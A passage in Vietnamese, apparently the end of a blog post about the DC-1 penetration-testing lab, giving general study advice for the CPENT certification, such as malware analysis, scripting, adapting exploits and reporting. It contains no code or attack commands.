- Tập trung rèn luyện các kỹ năng tương ứng. Ví dụ, CPENT yêu cầu khả năng phân tích mã độc, viết script tùy chỉnh (ví dụ: Python, PowerShell), tùy biến exploit có sẵn, và thực hiện tấn công đa tầng trong một môi trường mạng phức tạp, cùng với việc báo cáo chi tiết. Hãy tìm các lab hoặc kịch bản thực hành mô phỏng các yêu cầu này.
Việc hoàn thành lab DC-1 là một bước khởi đầu tốt. Để thực sự thành thạo và sẵn sàng cho các thử thách nâng cao hơn, người học cần liên tục thực hành, tìm tòi, học hỏi các kỹ thuật mới, và phát triển tư duy phân tích, giải quyết vấn đề một cách có hệ thống. Các khuyến nghị trên nhằm mục đích cung cấp định hướng để người học có thể tiếp tục phát triển kỹ năng và kiến thức của mình một cách hiệu quả.





Bình luận về bài viết này